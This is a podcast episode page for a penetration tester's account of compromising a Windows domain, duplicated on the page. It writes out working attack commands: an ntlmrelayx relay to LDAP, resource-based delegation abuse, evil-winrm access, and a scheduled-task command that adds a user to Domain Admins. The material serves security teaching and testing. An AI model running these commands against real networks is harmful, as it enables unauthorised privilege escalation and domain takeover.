Artwork

A tartalmat a Brian Johnson biztosítja. Az összes podcast-tartalmat, beleértve az epizódokat, grafikákat és podcast-leírásokat, közvetlenül a Brian Johnson vagy a podcast platform partnere tölti fel és biztosítja. Ha úgy gondolja, hogy valaki az Ön engedélye nélkül használja fel a szerzői joggal védett művét, kövesse az itt leírt folyamatot https://hu.player.fm/legal.
Player FM - Podcast alkalmazás
Lépjen offline állapotba az Player FM alkalmazással!

7MS #691: Tales of Pentest Pwnage – Part 75

31:39
 
Megosztás
 

Manage episode 504658564 series 2540717
A tartalmat a Brian Johnson biztosítja. Az összes podcast-tartalmat, beleértve az epizódokat, grafikákat és podcast-leírásokat, közvetlenül a Brian Johnson vagy a podcast platform partnere tölti fel és biztosítja. Ha úgy gondolja, hogy valaki az Ön engedélye nélkül használja fel a szerzői joggal védett művét, kövesse az itt leírt folyamatot https://hu.player.fm/legal.

Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today’s episode:

  • Got an SA account to a SQL server through Snaffler-ing
  • With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here
  • I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv
  • I didn’t have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here
  • Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket
  • From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName
  • Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f
  • …and ran it: schtasks /run /tn "TotallyFineTask"
  continue reading

499 epizódok

Artwork
iconMegosztás
 
Manage episode 504658564 series 2540717
A tartalmat a Brian Johnson biztosítja. Az összes podcast-tartalmat, beleértve az epizódokat, grafikákat és podcast-leírásokat, közvetlenül a Brian Johnson vagy a podcast platform partnere tölti fel és biztosítja. Ha úgy gondolja, hogy valaki az Ön engedélye nélkül használja fel a szerzői joggal védett művét, kövesse az itt leírt folyamatot https://hu.player.fm/legal.

Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today’s episode:

  • Got an SA account to a SQL server through Snaffler-ing
  • With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here
  • I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv
  • I didn’t have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here
  • Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket
  • From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName
  • Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f
  • …and ran it: schtasks /run /tn "TotallyFineTask"
  continue reading

499 epizódok

Minden epizód

×
 
Loading …

Üdvözlünk a Player FM-nél!

A Player FM lejátszó az internetet böngészi a kiváló minőségű podcastok után, hogy ön élvezhesse azokat. Ez a legjobb podcast-alkalmazás, Androidon, iPhone-on és a weben is működik. Jelentkezzen be az feliratkozások szinkronizálásához az eszközök között.

 

Gyors referencia kézikönyv

Hallgassa ezt a műsort, miközben felfedezi
Lejátszás